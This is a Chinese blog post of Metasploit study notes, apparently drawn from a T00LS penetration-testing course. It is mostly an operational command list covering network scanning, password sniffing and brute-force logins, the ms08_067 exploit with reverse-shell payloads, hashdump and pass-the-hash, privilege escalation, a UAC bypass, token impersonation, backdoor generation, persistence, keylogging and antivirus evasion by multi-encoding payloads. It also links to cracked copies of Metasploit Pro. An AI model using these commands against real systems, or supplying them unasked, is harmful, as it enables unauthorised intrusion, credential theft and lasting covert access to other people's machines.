T00LS MSF记录

关注

原创 2022-12-26 13:01:30 1.3k 阅读 AI 写同款· GEO 优化 ›

渗透测试 ( 3 ) --- Metasploit Framework ( MSF ) 白嫖 Metasploit Pro 2022：https://zhuanlan.zhihu.com/p/449836479 白嫖 Metasploit Pro 2022：http://t.zoukankan.com/hxlinux-p-15787814.html 好东西之 metasploit pro：https://www.52pojie.cn/thr... 阅读详情

T00LS(第一季)

介绍

metasploit 免费版和收费版区别有生成报告功能，免杀效果。
可申请收费版试用。
更新 msfupdate，最新版此命令不能实用，使用apt-get update进行更新。
安装目录 /usr/share/metasploit-framework/

端口扫描

可以直接使用nmap命令扫描
可以使用db_nmap命令扫描
可以使用自带模块扫描
search portscan

SMB扫描获取系统信息

use auxiliary/scanner/smb/smb_version
set rhosts 193.193.193.155
run

服务识别

use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/ftp/ftp_version

密码嗅探

use auxiliary/sniffer/psnuffle
抓取数据包
支持ftp imap pop3 smb http

snmp扫描与枚举

use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/snmp/snmp_enum

SMB登陆验证

use auxiliary/scanner/smb/smb_login
set rhosts
set SMBUser
set SMBPass /非必填项

VNC登陆验证

use auxiliary/scanner/vnc/vnc_none_auth

WMAP Web扫描

load wmap
wmap_sites -h #查看帮助
wmap_sites -a www.0.com
wmap-sites -l
wmap-target -h #查看帮助
wmap-target -t http://www.0.com
wmap-tartget -l
wmap_run -h #查看帮助
wmap_run -t
wmap_run -e
wmap_vulns -l

T00LS(第二季)

远程代码执行

ms08_067漏洞
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
info
show targets
set targets(设置目标版本，08067漏洞不会自动判断目标版本信息)
run

midi远程代码执行

12-004

口令安全

use auxiliary/scanner/mysql/mysql_login
事先准备一个字典
use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/ftp/ftp_login

HASH值传递渗透

获得shell之后
meterpreter>hashdump
也可以直接使用hash值进行登陆

NDProxy内核提权

前提条件，必须有一个会话，比如已获得一个普通用户，想提上到管理员权限。
search 14-002 利用这个漏洞进行提权
use exploit/windows/local/ms_ndproxy
set session 1
对会话id为1的会话进行提权。
run
也可以使用getsystem

多种后门生成

windows后门 exe或com文件
linux后门可执行文件
java后门 jar包
php后门上传php文件以后访问此页面就可以打开。
jsp后门 jsp页面
asp后门 asp页面
aspx后门 aspx页面
android后门 apk包

内网渗透

获得会话以后可以对所在网段进行扫描，
run get_local_subnets
run autoroute -s 192.168.0.0/24
run autoroute -p

域环境，劫持域认证
load incognito
list_tokens -u
impersonate_token admin/wing
shell
嗅探

反反病毒（免杀）

加壳方式
编码的方式
可以用多重编码
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.48.130 LPORT=2222 R | msfencode -e x86/shikate_ga_nai -c 10 -t raw | msfencode -e x86/countdown -c 5 -t exe -o /123.exe
也可以同时绑定一个正常文件。
upx进行加壳，加壳
metasploit使用编码的方式进行免杀，免费版效果很差。
因为每一次更新杀毒厂家都会跟进。

XSS

search keylogger
use auxiliary/server/capture/http_javascript_keylogger（仅键盘记录）
options里有一个demo选项。
有一个demo，可以记录用户输入信息，也可以复制一个站点，把代码注入到页面里。
维持访问
Meterpreter提供2种方式的后门，一种是通过服务启动(metsvc)，一种是通过启动项启动(persistence)。
种植后门前提是必须有一个会话，已经连接到被控制端。
meterpreter>run metsvc -A
这样就获得了一个后门，即使断开连接，后门也在。
msf> use exploit/multi/handler
set PAYLOAD windows/metsvc_bind_tcp
show options
set
run

服务启动方式在xp上不成功，需要服务器版操作系统。
meterpreter>keyscan_start #键盘记录
meterpreter>keyscan_dump #查看记录
　通过服务(metsvc)启动的方式，其优点便是命令简单方便。使用此方式的后门不进行反弹回连，因此不必设置太多参数。该后门在目标机器启动后自启动一个”服务器”来等待黑客连接，因此黑客可以随时随地通过该后门进入目标机器，十分简单方便。当然，其缺点也十分明显。当其他黑客使用扫描软件扫出该”服务器”的存在时，任何人便可以通过该后门直达目标机器内部。毫无安全性可言。
　通过启动项启动(persistence)的方式，其缺点便是参数较为复杂，当设置某项参数后，很有可能因为权限问题导致该设置项并未生效，并且无错误回显，导致持续化控制可能失败，功败垂成。当然，其优点也可圈可点。该方式是在目标机器上以反弹回连方式来连接黑客的”服务器”，目标机器上的防火墙对于此等操作一般均会放行，因此后门的存活率较高，黑客只需坐等羔羊送上门来。

T00LS(第三季)

介绍

数据库连接信息 usr/share/metasploit-framework/config/database.yml
meterpreter>run vnc
监控桌面

load命令

msf > load nessus 加载nessus
nessus_connect
nessus_connect admin:passwd@127.0.0.1:8834
nessus_policy_list
nessus_scan_new
nessus_scan_lauch
nessus_scan_details
nessus_scan_export
nessus_report_download

load db_autopwn
自动攻击

load mimikatz
mimikatz

内网dns劫持

别的章节有介绍

Metasploit辅助功能

rsync
Linux下实现远程同步的软件，由于安全意识淡薄可能存在可利用的漏洞或信息。
port：873

svn
search svn

seaysvn漏洞利用工具

提权及端口转发

mimikatz_command

rdesktop ip -f -a 32
如果目标主机在内网，不能用rdp连接，可以使用端口转发
meterpreter>portfwd -l 8888 -r 目标主机ip -p 3389
rdesktop -a 32 127.0.0.1:8888 -u admin -p admin888
portfwd -delete -l 8888

火狐浏览器命令执行和flash攻击

use exploit/multi/browser/adobe_flash_hacking_team_uaf
set PAYLOAD windows/meterpreter/revrse_tcp
show options
set lhost

use exploit/multi/browser/fire_proxy_prototype
这个exploit不需要设置payload
show options
set lhost

win10提权

migrate在win10下会失败，getsystem也会失败。可以通过bypassuac提权
win10得到会话以后执行getsystem会提示失败。
getsystem -t 1
getsystem -t 2
getsystem -t 3
都会失败
可以先执行background，挂起会话。
use exploit/windows/local/bypassuac_injection
show options
set sessions
set targets 0
exploit
meterpreter>getsystem